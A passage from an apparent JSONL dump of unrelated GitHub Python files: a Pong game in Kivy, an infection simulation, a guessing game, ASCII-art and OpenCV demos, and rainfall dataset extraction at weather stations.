batch_idx):\n        pass\n\n    @abstractmethod\n    def validation_step(self, train_batch, batch_idx):\n        pass\n\n    # Prediction (using numpy input, numpy output)\n    def estimate_ace(self, data, a_int1, a_int2, y_scaler=None):\n        self.eval()\n        n = data.shape[0]\n\n        data_1 = data.copy()\n        data_2 = data.copy()\n        data_1[:, :, 1] = np.tile(a_int1, (n, 1))\n        data_2[:, :, 1] = np.tile(a_int2, (n, 1))\n\n        #Format input\n        data1_torch = torch.from_numpy(data_1.astype(np.float32))\n        data2_torch = torch.from_numpy(data_2.astype(np.float32))\n        input_fwd1 = self.format_input(data1_torch)\n        input_fwd2 = self.format_input(data2_torch)\n        #Forward pass\n        output1 = self.forward(input_fwd1)\n        output2 = self.forward(input_fwd2)\n\n        #Final predicted outcomes\n        y_T_1 = output1[0][:, -1].detach().numpy()\n        y_T_2 = output2[0][:, -1].detach().numpy()\n\n        if y_scaler is not None:\n            y_T_1 = helpers.rescale_y(y_T_1, y_scaler)\n            y_T_2 = helpers.rescale_y(y_T_2, y_scaler)\n\n        return np.mean(y_T_1 - y_T_2)","repo_name":"DennisFrauen/DeepACE","sub_path":"models/general_models.py","file_name":"general_models.py","file_ext":"py","file_size_in_byte":10334,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"12046570605","text":"from simulation import Simulation\nimport helper\nimport sys\n\ndef run(args):\n    params = helper.parseArguments(args)\n\n    # default values\n    size = 40\n    probabilityOfInfection = 0.02\n    probabilityOfDeath = 0\n    infectionLength = [6, 9]\n\n    # check size for user input\n    if '-N' in params:\n        val = int(params['-N'])\n        if val < 1:\n            raise ValueError(\"Size of the simulation has to be positive.\")\n        size = val\n\n    # check probability of infection for user input\n    if '-S' in params:\n        val = float(params['-S'])\n        if val < 0 or val > 1:\n            raise ValueError(\"Probabilities have to be within [0,1].\")\n        probabilityOfInfection = val\n\n    # check probability of death for user input\n    if '-L' in params:\n        val = float(params['-L'])\n        if val < 0 or val > 1:\n            raise ValueError(\"Probabilities have to be within [0,1].\")\n        probabilityOfDeath = val\n\n    # check length of infection for user input\n    if '-minDays' in params and '-maxDays' in params:\n        min = int(params['-minDays'])\n        max = int(params['-maxDays'])\n        if min < 0 or min > max:\n            raise ValueError(\"Infection interval has to be positive and min > max.\")\n        infectionLength = [min, max]\n\n    # init simulation\n    simulation = Simulation(size, probabilityOfInfection, probabilityOfDeath, infectionLength)\n\n    #  contaminate chosen individuals\n    if '-x' in params and len(params['-x']) > 0:\n        for i in range(0, len(params['-x'])):\n            point = params['-x'][i].split(\",\")\n            x = int(point[0])\n            y = int(point[1])\n\n            if x < 0 or x > size or y < 0 or y > size:\n                raise ValueError(\"One of your individuals was out of bounds.\")\n\n            simulation.contaminate(x, y)\n    else:\n        # contaminate one cell\n        simulation.contaminate(0,0)\n\n    if '--frames' in params and params['--frames']:\n        simulation.writeFrames = True\n\n    if '-seed' in params:\n        simulation.setSeed(int(params['-seed']))\n\n    # run simulation\n    iteration, avgInfectedPerDay, avgDeathsPerDay, avgRecoveredPerDay, avgIllPerDay, sumInfectedPerDay, sumDeathsPerDay = simulation.run()\n\n    # print output\n    if '--iterations' in params or '--print' in params:\n        print(\"Simulation took {0} iterations.\".format(iteration))\n    \n    if '--avgInfected' in params or '--print' in params:\n        print(\"Average infected per iteration: {0}\".format(avgInfectedPerDay))\n    \n    if '--avgDead' in params or '--print' in params:\n        print(\"Average deaths per iteration: {0}\".format(avgDeathsPerDay))\n\n    if '--avgRecovered' in params or '--print' in params:\n        print(\"Average recovered per iteration: {0}\".format(avgRecoveredPerDay))\n    \n    if '--avgIll' in params or '--print' in params:\n        print(\"Average ill per iteration: {0}\".format(avgIllPerDay))\n\n    if '--sumInfected' in params or '--print' in params:\n        print(\"Sum of infected: {0}\".format(sumInfectedPerDay))\n\n    if '--sumDeaths' in params or '--print' in params:\n        print(\"Sum of deaths: {0}\".format(sumDeathsPerDay))\n\n    return sumInfectedPerDay\n\nif __name__ == '__main__':\n    run(sys.argv[1:])\n","repo_name":"eschmar/infection-simulation-python","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32824722316","text":"\n# EXERCICIO 058 - JOGO DE ADIVINHAÇÃO\n\nfrom random import randint\n\ncomputador = randint(0,10)\nprint('Acabei de pensar num número entre 0 e 10')\npalpite = 0\nacertou = False\n\nwhile not acertou:\n    jogador = int(input('Qual o seu palpite? '))\n    palpite += 1\n    if jogador == computador:\n        acertou = True\n    else:\n        if jogador < computador:\n            print('Mais...')\n        elif jogador > computador:\n            print('Menos...')\n\nprint('Acertou em {} tentativas!'.format(palpite))\n","repo_name":"bruceewmesmo/python-mundo-02","sub_path":"ex058.py","file_name":"ex058.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17359947472","text":"import requests\n\n\ndef get_duty_information(ifns: str, oktmmf: str) -> (int, dict):\n    \"\"\"\n    :param ifns:    Код ИФНС\n    :param oktmmf:  Муниципальное образование:\n    :return: (status_code, result)\n    \"\"\"\n\n    url = \"https://service.nalog.ru/addrno-proc.json\"\n\n    request_params = {\n        \"headers\": {\n            \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\"\n        },\n        \"body\": f\"c=next&step=1&ifns={ifns}&oktmmf={oktmmf}\"\n    }\n\n    response = requests.post(url, headers=request_params[\"headers\"], data=request_params[\"body\"], )\n    json = response.json()\n    return response.status_code, json\n\n","repo_name":"Misha-PC/Pikta","sub_path":"second/requests_method.py","file_name":"requests_method.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42714569373","text":"# -*- coding: utf-8 -*-\nimport json\n\ncommand_data = {\"[놀자에요]\": \"놀자에요_half.png\",\n                \"[요에자놀]\": \"놀자에요_half_transpose.png\",\n                \"[놀자에요반전]\": \"놀자에요_half_transpose.png\",\n                \"[놀자에몽]\": \"놀자에몽_half.png\",\n                \"[머쓱해요]\": \"머쓱해요_half.png\",\n                \"[웃프네요]\": \"웃프네요_half.png\",\n                \"[추천이요]\": \"추천이요_half.png\",\n                \"[정말이요]\": \"정말이요_half.png\",\n                \"[뭐라구요]\": \"뭐라구요_half.png\",\n                \"[머쓱환에요]\": \"머쓱환에요_half.png\",\n                \"[웃기구요]\": \"웃기구요_half.png\",\n                \"[엄지로아콘]\": \"01_모코코콘1_01_따봉_modified.png\",\n                \"[엄지척]\": \"01_모코코콘1_01_따봉_modified.png\",\n                \"[야호로아콘]\": \"01_모코코콘1_03_모야호_modified.png\",\n                \"[모아호]\": \"01_모코코콘1_03_모야호_modified.png\",\n                \"[크크로아콘]\": \"01_모코코콘1_06_ㅋㅋㅋㅋ_modified.png\",\n                \"[크크크]\": \"01_모코코콘1_06_ㅋㅋㅋㅋ_modified.png\",\n                \"[ㅋㅋㅋ]\": \"01_모코코콘1_06_ㅋㅋㅋㅋ_modified.png\",\n                \"[방긋로아콘]\": \"01_모코코콘1_09_방긋_modified.png\",\n                \"[방긋]\": \"01_모코코콘1_09_방긋_modified.png\",\n                \"[방긋방긋]\": \"01_모코코콘1_09_방긋_modified.png\",\n                \"[해줘로아콘]\": \"01_모코코콘1_13_줘_modified.png\",\n                \"[해줘]\": \"01_모코코콘1_13_줘_modified.png\",\n                \"[줘]\": \"01_모코코콘1_13_줘_modified.png\",\n                \"[안줘로아콘]\": \"01_모코코콘1_14_안_줘_modified.png\",\n                \"[안줘]\": \"01_모코코콘1_14_안_줘_modified.png\",\n                \"[빠직로아콘]\": \"01_모코코콘1_17_빠직_modified.png\",\n                \"[빠직]\": \"01_모코코콘1_17_빠직_modified.png\",\n                \"[슬퍼로아콘]\": \"01_모코코콘1_18_슬퍼_modified.png\",\n                \"[슬퍼]\": \"01_모코코콘1_18_슬퍼_modified.png\",\n                \"[향기로아콘]\": \"01_모코코콘1_18_슬퍼_modified.png\",\n                \"[향기]\": \"01_모코코콘1_18_슬퍼_modified.png\",\n                \"[기분좋은향기]\": \"01_모코코콘1_18_슬퍼_modified.png\",\n                \"[털썩로아콘]\": \"01_모코코콘1_24_모무룩_modified.png\",\n                \"[털썩]\": \"01_모코코콘1_24_모무룩_modified.png\",\n                \"[기도해욤]\": \"니나브욤1_resize.png\",\n                \"[발사해욤]\": \"니나브욤2_resize.png\",\n                \"[빼꼼이욤]\": \"니나브욤3_resize.png\",\n                \"[불만이욤]\": \"니나브욤4_resize.png\",\n                \"[맛있어욤]\": \"니나브욤5_resize.png\",\n                \"[피곤해욤]\": \"니나브욤6_resize.png\",\n                \"[니야호욤]\": \"니나브욤7_resize.png\",\n                \"[큰일이욤]\": \"니나브욤8_resize.png\"}\n\nwith open(\"command.json\", \"w\", encoding=\"utf-8\") as json_file:\n    json_file.write(json.dumps(command_data, ensure_ascii=False))\n","repo_name":"revdoor/EmojiBot","sub_path":"make_command_json.py","file_name":"make_command_json.py","file_ext":"py","file_size_in_byte":3188,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20854733507","text":"# -*- coding: utf-8 -*-\n\"\"\"图片转文字\"\"\"\nfrom PIL import Image\nimport argparse\n\n# 命令行输入参数处理\nparser = argparse.ArgumentParser()\n\nparser.add_argument('file') # 输入文件\nparser.add_argument('-o', '--output') # 输出文件\nparser.add_argument('-w', '--width', type=int, default=100) # 输出字符宽度\nparser.add_argument('-hei', '--height', type=int, default=100) # 高度\n\n# 获取参数\nargs = parser.parse_args()\nprint(args)\n\nIMG = args.file\nWIDTH = args.width\nHEIGHT = args.height\nOUTPUT = args.output\n\nascii_char = list(r\"$@B%8&WM#*oahkbdpqwmZO0QLCJUYXzcvunxrjft/\\|()1{}[]?-_+~<>i!lI;:,\\\"^`'. \")\n\n# 将256灰度映射到70个字符上\ndef get_char(r, g, b, alpha=256):\n    if alpha == 0:\n        return ' '\n    length = len(ascii_char)\n    gray = int(0.2126 * r + 0.7152 * g + 0.0722 * b)\n\n    unit = (256.0 + 1) / length\n    return ascii_char[int(gray/unit)]\n\ndef img_2_text():\n    \"\"\"图像转文字\"\"\"\n    im = Image.open(IMG)\n    im = im.resize((WIDTH, HEIGHT), Image.NEAREST)\n\n    text = ''\n\n    for i in range(HEIGHT):\n        for j in range(WIDTH):\n            text += get_char(*im.getpixel((j, i)))\n        text += '\\n'\n\n    print(text)\n\n    # 字符花输出到文件\n    if OUTPUT:\n        with open(OUTPUT, 'w') as f:\n            f.write(text)\n    else:\n        with open('output.txt', 'w') as f:\n            f.write(text)\n\ndef main():\n    img_2_text()\n\nif __name__ == '__main__':\n    main()","repo_name":"leeexing/Time-2016.11.30","sub_path":"py/easy/ascii.py","file_name":"ascii.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37204588387","text":"import cv2\n# ===================================================================\n\n# define display window name\n\nwindowName = \"Original Image\" # window name - for the original image\nwindowName2 = \"Smoothed Image\" # window name 2 - for the smoothed image\n\n# read an image from the specified file - the cv2.IMREAD_COLOR flag enables reading the image in colour\n\nimage = cv2.imread('./peppers.png', cv2.IMREAD_COLOR)\n\n# check that the image has been successfully loaded\n\nif not image is None:\n\n    # performing smoothing on the image using a 5x5 smoothing mark (see manual entry for GaussianBlur())\n\n    blur = cv2.GaussianBlur(image,(5,5),30)\n\n    # display the original image and this blurred image in named windows\n\n    cv2.imshow(windowName, image)\n    cv2.imshow(windowName2, blur)\n\n    # start the event loop - essential\n\n    # cv2.waitKey() is a keyboard binding function (argument is the time in milliseconds).\n    # It waits for specified milliseconds for any keyboard event.\n    # If you press any key in that time, the program continues.\n    # If 0 is passed, it waits indefinitely for a key stroke.\n\n    key = cv2.waitKey(0) # wait\n\n    # It can also be set to detect specific key strokes by recording which key is pressed\n\n    # e.g. if user presses \"x\" then exit and close all windows\n\n    if (key == ord('x')):\n        cv2.destroyAllWindows()\nelse:\n    print(\"No image file was loaded.\")\n# ===================================================================\n","repo_name":"atapour/Durham-Summer-School","sub_path":"smooth_image.py","file_name":"smooth_image.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74311628168","text":"# %% [markdown]\n# # About\n#  This code was used to extract the values of all 15 datasets at station locations for the 'Profile analysis' under 'Results' section of Ch6 in PhD Thesis. \n\n\n\n\n# %% [markdown]\n# # Libraries\nfrom tqdm.notebook import tqdm as td \nimport rasterio as rio, geopandas as gpd , matplotlib.pyplot as plt, numpy as np, glob, pandas as pd, shutil, os, time, rasterio as rio\nstart = time.time()\ndef fresh(where):\n    if os.path.exists(where):\n        shutil.rmtree(where)\n        os.mkdir(where)\n    else:\n        os.mkdir(where)  # function to make folders\n\n\n\n\n# %% [markdown]\n# # Remove old files\nmonths = ['JAN', 'FEB', 'MAR', 'APR', 'MAY', 'JUN', 'JUL', 'AUG', 'SEP', 'OCT', 'NOV', 'DEC']  # to change index \n# for i in range(0, 12):\n#     fresh(where=\"../../5_Images/03_StnVsSat_profiles/{}_{}\".format(str(i+1).zfill(2), months[i]))  \n\n\n\n\n# %% [markdown]\n# # Prepare station key\ndef stationKey():\n    ## Station Key  \n    # [1] read station shape file \n    stnKey = gpd.read_file(r\"../../3_RSData/2_Vectors/1_Stations/01_stations_UTM44N1.shp\") \n    stnKey.sort_values('Sno', inplace=True)  # sort all cols according to 'Sno'\n    stnKey.reset_index(drop=True, inplace=True)  # reset index \n\n    # [2] read dem, slope and aspect files\n    ds = rio.open(\"../../3_RSData/1_Rasters/DEM/02_srtm_epsg_32644.tif\")  # dem \n    dsAspect = rio.open(\"../../3_RSData/1_Rasters/DEM/03_srtm_epsg_32644_aspect.tif\")  # aspect \n    dsSlope  = rio.open(\"../../3_RSData/1_Rasters/DEM/04_srtm_epsg_32644_slope.tif\")  # slope \n\n    # [3] add info from above files in columns\n    stnKey[\"row\"], stnKey[\"col\"] = rio.transform.rowcol(ds.transform, stnKey.geometry.x, stnKey.geometry.y)  # 3 add more cols to stnkey - row,col cols added\n    coords = [(x,y) for x, y in zip(stnKey.geometry.x, stnKey.geometry.y)]  # x,y coords zippped\n    stnKey[\"srtm\"]  = [x[0] for x in ds.sample(coords)]  # elevation info  added\n    stnKey[\"aspect\"]  = [x[0] for x in dsAspect.sample(coords)]  # aspect info added\n    stnKey[\"slope\"]  = [x[0] for x in dsSlope.sample(coords)]  # slope info added\n\n    # [4] remove duplicates from stnKey\n    # [4.1] get the row, cols in a list \n    rowcols = [(x,y) for x, y in zip(stnKey.row, stnKey.col)]\n\n    # [4.2] get the ids of duplicates (taken from: https://stackoverflow.com/a/23645631)\n    result=[idx for idx, item in enumerate(rowcols) if item in rowcols[:idx]]\n    stnKey.drop(index=result, inplace=True)  # duplicates removed \n    stnKey.reset_index(drop=True, inplace=True)  # index reset [now 26 stations in total]\n\n    return stnKey\nstnKey = stationKey()\n\n\n\n\n# %% [markdown]\n## Read files\ndef readFiles():\n    # [1] read station data\n    dfStn = pd.read_csv(\"../../2_ExcelFiles/01_StationData/05_monthly_mean.csv\").drop(columns='Unnamed: 0')  # station data \n\n    # [2] read satellite and modelled data\n    p = \"../../3_RSData/1_Rasters/\"  # common path portion\n    # rasBKGN = sorted(glob.glob(p+\"2_BKGN/03_resampled/*.tif\"))  # original bkgn data\n    rasBKGN = sorted(glob.glob(p+\"2_BKGN/04_refined/*.tif\"))  # refined bkgn data\n    rasGPM = sorted(glob.glob(p+\"1_GPM/monthly_means/3_resampled/*.tif\"))\n    rasERA5Land = sorted(glob.glob(p+\"3_ERA5Land/monthly_means/03_resampled/*.tif\"))\n    rasERA5 = sorted(glob.glob(p+\"4_ERA5/monthly_means/03_resampled/*.tif\"))\n    rasTRMM = sorted(glob.glob(p+\"5_TRMM/with_time_dim/monthly_means/03_resampled/*.tif\"))\n    rasCHIRPS = sorted(glob.glob(p+\"8_CHIRPS/monthly_means/03_resampled/*.tif\"))\n    rasHICHAP = sorted(glob.glob(p+\"10_HICHAP/1981-2010/monthly_means/03_resampled/*.tif\"))\n    rasCRUTSV4 = sorted(glob.glob(p+\"9_CRUTSV4/monthly_means/03_resampled/*.tif\"))\n    rasAPHROV1101 = sorted(glob.glob(p+\"6_APHRODITE/V1101/monthly_means/03_resampled/*.tif\"))\n    rasAPHROV1101EXR1 = sorted(glob.glob(p+\"6_APHRODITE/V1101EXR1/monthly_means/03_resampled/*.tif\"))\n    rasAPHROV1801R1 = sorted(glob.glob(p+\"6_APHRODITE/V1101EXR1/monthly_means/03_resampled/*.tif\"))\n    rasAPHROV1901 = sorted(glob.glob(p+\"6_APHRODITE/V1901/monthly_means/03_resampled/*.tif\"))\n    rasHAR10 = sorted(glob.glob(p+\"7_HAR10/monthly/d10/monthly_means/03_resampled/*.tif\"))\n    rasHAR30 = sorted(glob.glob(p+\"7_HAR10/monthly/d30/monthly_means/03_resampled/*.tif\"))\n    rasModelled = sorted(glob.glob(p+\"GeneratedRasters/03_MeanMonthly/40_2000_2009_GPM/02_Tiff/*.tif\"))\n\n    # [3] get the above data into the dicts of 12 dataframes each\n    dsGPM, dsBKGN, dsERA5Land, dsERA5, dsTRMM, dsCHIRPS, dsHICHAP, dsCRUTSV4, dsAPHROV1101, dsAPHROV1101EXR1, dsAPHROV1801R1, dsAPHROV1901, dsHAR10, dsHAR30, dsModelled= {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}\n\n    for i in range(12):\n        dsBKGN[i] = rio.open(rasBKGN[i]).read(1)  \n        dsGPM[i] = rio.open(rasGPM[i]).read(1)  \n        dsERA5Land[i] = rio.open(rasERA5Land[i]).read(1)\n        dsERA5[i] = rio.open(rasERA5[i]).read(1)\n        dsTRMM[i] = rio.open(rasTRMM[i]).read(1)\n        dsCHIRPS[i] = rio.open(rasCHIRPS[i]).read(1)\n        dsHICHAP[i] = rio.open(rasHICHAP[i]).read(1)\n        dsCRUTSV4[i] = rio.open(rasCRUTSV4[i]).read(1)\n        dsAPHROV1101[i] = rio.open(rasAPHROV1101[i]).read(1)\n        dsAPHROV1101EXR1[i] = rio.open(rasAPHROV1101EXR1[i]).read(1)\n        dsAPHROV1801R1[i] = rio.open(rasAPHROV1801R1[i]).read(1)\n        dsAPHROV1901[i] = rio.open(rasAPHROV1901[i]).read(1)\n        dsHAR10[i] = rio.open(rasHAR10[i]).read(1)\n        dsHAR30[i] = rio.open(rasHAR30[i]).read(1)\n        dsModelled[i] = rio.open(rasModelled[i]).read(1)\n\n    return dsGPM, dsBKGN, dsERA5Land, dsERA5, dsTRMM, dsCHIRPS, dsHICHAP, dsCRUTSV4, dsAPHROV1101, dsAPHROV1101EXR1, dsAPHROV1801R1, dsAPHROV1901, dsHAR10, dsHAR30, dsModelled, dfStn\ndsGPM, dsBKGN, dsERA5Land, dsERA5, dsTRMM, dsCHIRPS, dsHICHAP, dsCRUTSV4, dsAPHROV1101, dsAPHROV1101EXR1, dsAPHROV1801R1, dsAPHROV1901, dsHAR10, dsHAR30, dsModelled, dfStn = readFiles()\n\n\n\n\n# %% [markdown]\n## July Koteswar\ndef julyKoteswar():\n    ## Extract values at Koteswar ([28,19] from stnKey) for month = 6 (July)\n    # [1] Prepare dataframe\n    datasetNames = ['dsGPM', 'dsBKGN', 'dsERA5Land', 'dsERA5', 'dsTRMM', 'dsCHIRPS', 'dsHICHAP', 'dsCRUTSV4', 'dsAPHROV1101', 'dsAPHROV1101EXR1', 'dsAPHROV1801R1', 'dsAPHROV1901', 'dsHAR10', 'dsHAR30', 'dsModelled']\n    dfTemp = pd.DataFrame(index= datasetNames, columns=['Koteswar'])\n\n    # [2] Get dataset values into dataframe\n    dfTemp.loc['dsGPM'] = dsGPM[6][28,19]\n    dfTemp.loc['dsBKGN'] = dsBKGN[6][28,19]\n    dfTemp.loc['dsERA5Land'] = dsERA5Land[6][28,19]\n    dfTemp.loc['dsERA5'] = dsERA5[6][28,19]\n    dfTemp.loc['dsTRMM'] = dsTRMM[6][28,19]\n    dfTemp.loc['dsCHIRPS'] = dsCHIRPS[6][28,19]\n    dfTemp.loc['dsHICHAP'] = dsHICHAP[6][28,19]\n    dfTemp.loc['dsCRUTSV4'] = dsCRUTSV4[6][28,19]\n    dfTemp.loc['dsAPHROV1101'] = dsAPHROV1101[6][28,19]\n    dfTemp.loc['dsAPHROV1101EXR1'] = dsAPHROV1101EXR1[6][28,19]\n    dfTemp.loc['dsAPHROV1801R1'] = dsAPHROV1801R1[6][28,19]\n    dfTemp.loc['dsAPHROV1901'] = dsAPHROV1901[6][28,19]\n    dfTemp.loc['dsHAR10'] = dsHAR10[6][28,19]\n    dfTemp.loc['dsHAR30'] = dsHAR30[6][28,19]\n    dfTemp.loc['dsModelled'] = dsModelled[6][28,19]\n\n    # [3] Find difference from station value and sort the differences\n    dfTemp['Difference'] = dfStn.loc[6]['CWC(KOTESWAR)'] - dfTemp.Koteswar\n    dfTemp.sort_values(by='Difference', inplace=True)\n\n    print('Staion value at Koteswar:', dfStn.iloc[6]['CWC(KOTESWAR)'], 'mm')\n\n    return datasetNames, dfTemp\ndatasetNames, dfTemp = julyKoteswar()\n\n\n\n\n# %% [markdown]\n## July Pauri\ndef julyPauri():\n    ## Extract values at Pauri ([32,25] from stnKey) for month = 6 (July)\n    # [1] Prepare dataframe\n    datasetNames = ['dsGPM', 'dsBKGN', 'dsERA5Land', 'dsERA5', 'dsTRMM', 'dsCHIRPS', 'dsHICHAP', 'dsCRUTSV4', 'dsAPHROV1101', 'dsAPHROV1101EXR1', 'dsAPHROV1801R1', 'dsAPHROV1901', 'dsHAR10', 'dsHAR30', 'dsModelled']\n    dfTemp = pd.DataFrame(index= datasetNames, columns=['Pauri'])\n\n    # [2] Get dataset values into dataframe\n    dfTemp.loc['dsGPM'] = dsGPM[6][32,25]\n    dfTemp.loc['dsBKGN'] = dsBKGN[6][32,25]\n    dfTemp.loc['dsERA5Land'] = dsERA5Land[6][32,25]\n    dfTemp.loc['dsERA5'] = dsERA5[6][32,25]\n    dfTemp.loc['dsTRMM'] = dsTRMM[6][32,25]\n    dfTemp.loc['dsCHIRPS'] = dsCHIRPS[6][32,25]\n    dfTemp.loc['dsHICHAP'] = dsHICHAP[6][32,25]\n    dfTemp.loc['dsCRUTSV4'] = dsCRUTSV4[6][32,25]\n    dfTemp.loc['dsAPHROV1101'] = dsAPHROV1101[6][32,25]\n    dfTemp.loc['dsAPHROV1101EXR1'] = dsAPHROV1101EXR1[6][32,25]\n    dfTemp.loc['dsAPHROV1801R1'] = dsAPHROV1801R1[6][32,25]\n    dfTemp.loc['dsAPHROV1901'] = dsAPHROV1901[6][32,25]\n    dfTemp.loc['dsHAR10'] = dsHAR10[6][32,25]\n    dfTemp.loc['dsHAR30'] = dsHAR30[6][32,25]\n    dfTemp.loc['dsModelled'] = dsModelled[6][32,25]\n\n    # [3] Find difference from station value and sort the differences\n    dfTemp['Difference'] = dfStn.loc[6]['PAURI'] - dfTemp.Pauri\n    dfTemp.sort_values(by='Difference', inplace=True)\n\n    print('Staion value at Pauri:', dfStn.iloc[6]['PAURI'], 'mm')\n\n\n    return datasetNames, dfTemp\ndatasetNames, dfTemp1 = julyPauri()\n\n\n\n\n# %% [markdown]\n## July Srinagar\ndef julySrinagar():\n    ## Extract values at Srinagar ([31, 24] from stnKey) for month = 6 (July)\n    # [1] Prepare dataframe\n    datasetNames = ['dsGPM', 'dsBKGN', 'dsERA5Land', 'dsERA5', 'dsTRMM', 'dsCHIRPS', 'dsHICHAP', 'dsCRUTSV4', 'dsAPHROV1101', 'dsAPHROV1101EXR1', 'dsAPHROV1801R1', 'dsAPHROV1901', 'dsHAR10', 'dsHAR30', 'dsModelled']\n    dfTemp = pd.DataFrame(index= datasetNames, columns=['Srinagar'])\n\n    # [2] Get dataset values into dataframe\n    dfTemp.loc['dsGPM'] = dsGPM[6][31,24]\n    dfTemp.loc['dsBKGN'] = dsBKGN[6][31,24]\n    dfTemp.loc['dsERA5Land'] = dsERA5Land[6][31,24]\n    dfTemp.loc['dsERA5'] = dsERA5[6][31,24]\n    dfTemp.loc['dsTRMM'] = dsTRMM[6][31,24]\n    dfTemp.loc['dsCHIRPS'] = dsCHIRPS[6][31,24]\n    dfTemp.loc['dsHICHAP'] = dsHICHAP[6][31,24]\n    dfTemp.loc['dsCRUTSV4'] = dsCRUTSV4[6][31,24]\n    dfTemp.loc['dsAPHROV1101'] = dsAPHROV1101[6][31,24]\n    dfTemp.loc['dsAPHROV1101EXR1'] = dsAPHROV1101EXR1[6][31,24]\n    dfTemp.loc['dsAPHROV1801R1'] = dsAPHROV1801R1[6][31,24]\n    dfTemp.loc['dsAPHROV1901'] = dsAPHROV1901[6][31,24]\n    dfTemp.loc['dsHAR10'] = dsHAR10[6][31,24]\n    dfTemp.loc['dsHAR30'] = dsHAR30[6][31,24]\n    dfTemp.loc['dsModelled'] = dsModelled[6][31,24]\n\n    # [3] Find difference from station value and sort the differences\n    dfTemp['Difference'] = dfStn.loc[6]['CWC(SRINAGAR)'] - dfTemp.Srinagar\n    dfTemp.sort_values(by='Difference', inplace=True)\n\n    print('Staion value at CWC(SRINAGAR):', dfStn.iloc[6]['CWC(SRINAGAR)'], 'mm')\n\n\n    return datasetNames, dfTemp\ndatasetNames, dfTemp2 = julySrinagar()\n\n# %%\n","repo_name":"Bankimchandrayadav/HiROX-M2","sub_path":"Selected_Bonus_Modules_2_Post_Analysis/08_datasets_at_stations.py","file_name":"08_datasets_at_stations.py","file_ext":"py","file_size_in_byte":10604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13770591512","text":"\n\nfrom ast import literal_eval\n\nfrom kivy.app import App\nfrom kivy.clock import Clock\nfrom kivy.app import Widget\nfrom kivy.vector import Vector\n\nimport config\nimport utils\nfrom network import Network as Network\nfrom players.local import Local\n\n\nclass Game(Widget):\n    def __init__(self, **kwargs):\n        super().__init__(**kwargs)\n        self.network = Network()\n        self.player = Local()\n        self.player_paddle_mapping = {self.network.id: self.network.i}\n        # When a paddle is not mapped to a player, then the paddle serves as barrier for its side\n        self.paddles = [\n            self.ids.paddle_left,\n            self.ids.paddle_right,\n            self.ids.paddle_top,\n            self.ids.paddle_bottom\n        ]\n\n    def restart(self):\n        for player_id, paddle_i in self.player_paddle_mapping.items():\n            paddle = self.paddles[paddle_i]\n            paddle.size = (config.paddle_height, config.paddle_height)\n            if paddle.move_x:\n                paddle.width = config.paddle_width\n            if paddle.move_y:\n                paddle.height = config.paddle_width\n\n        self.ids.ball.reset((self.center_x, self.center_y+10))\n\n    def update(self):\n        updates = self.network.send(\n            f\"{self.network.id}:{self.player.target}\"\n        )\n        updates, *news = updates.split('&')\n        for new in news:\n            id, i = new.split(':')\n            self.player_paddle_mapping[id] = int(i)\n            Clock.schedule_once(lambda dt: self.restart(), 5)\n        for update in updates.split('|'):\n            id, pos = update.split(':')\n            pos = literal_eval(pos)\n            i = self.player_paddle_mapping[id]\n            paddle = self.paddles[i]\n            paddle.move(pos)\n\n        paddle_lines = [\n            (\n                (self.paddles[0].right, self.paddles[0].y),\n                (self.paddles[0].right, self.paddles[0].top),\n            ),\n            (\n                (self.paddles[1].x, self.paddles[1].y),\n                (self.paddles[1].x, self.paddles[1].top),\n            ),\n            (\n                (self.paddles[2].x, self.paddles[2].y),\n                (self.paddles[2].right, self.paddles[2].y),\n            ),\n            (\n                (self.paddles[3].x, self.paddles[3].top),\n                (self.paddles[3].right, self.paddles[3].top),\n            ),\n        ]\n        self.ids.ball.move(paddle_lines)\n\n        if not self.collide_widget(self.ids.ball):\n            self.restart()\n\n\n\nclass Paddle(Widget):\n    def move(self, pos):\n        x, y = pos\n        if self.move_x:\n            self.center_x = x\n        if self.move_y:\n            self.center_y = y\n\n\nclass Ball(Widget):\n    velocity_x = 0\n    velocity_y = 0\n    mod = 1.\n\n    @property\n    def radius(self):\n        assert self.width == self.height\n        return self.width / 2\n\n    def reset(self, pos=(0, 0)):\n        self.center = pos\n        self.velocity_x = 1\n        self.velocity_y = 1\n        self.mod = 1.\n\n    def move(self, colliders):\n        rem_vel_x = self.velocity_x\n        rem_vel_y = self.velocity_y\n        while rem_vel_x or rem_vel_y:  # while the ball can still move\n            target_pos = Vector(rem_vel_x, rem_vel_y) + self.center\n            for collider in colliders:\n                point1, point2 = collider\n                bounce_pos = utils.find_intersection(*self.center, *target_pos, *point1, *point2)\n                if bounce_pos is None:\n                    continue  # Will never collide unless angle changes\n                distance_bounce = utils.distance(*self.center, *bounce_pos) - self.radius\n                distance_target = utils.distance(*self.center, *target_pos)\n                if distance_bounce > distance_target:\n                    continue  # Did not collide yet\n                if not utils.is_between(*collider, bounce_pos):\n                    continue # Moves past collider\n                break\n            else:  # Did not collide with any collider -> free to move\n                self.center_x += rem_vel_x * self.mod\n                self.center_y += rem_vel_y * self.mod\n                break\n            dist_x = utils.to_zero(bounce_pos[0] - self.center_x, rem_vel_x)\n            dist_y = utils.to_zero(bounce_pos[1] - self.center_y, rem_vel_y)\n            rem_vel_x -= dist_x\n            rem_vel_y -= dist_y\n            if collider[0][0] == collider[1][0]:  # collider is vertical\n                dist_x = -dist_x\n                rem_vel_x = -rem_vel_x\n                self.velocity_x = -self.velocity_x\n            elif collider[0][1] == collider[1][1]:  # collider is horizontal\n                dist_y = -dist_y\n                rem_vel_y = -rem_vel_y\n                self.velocity_y = -self.velocity_y\n            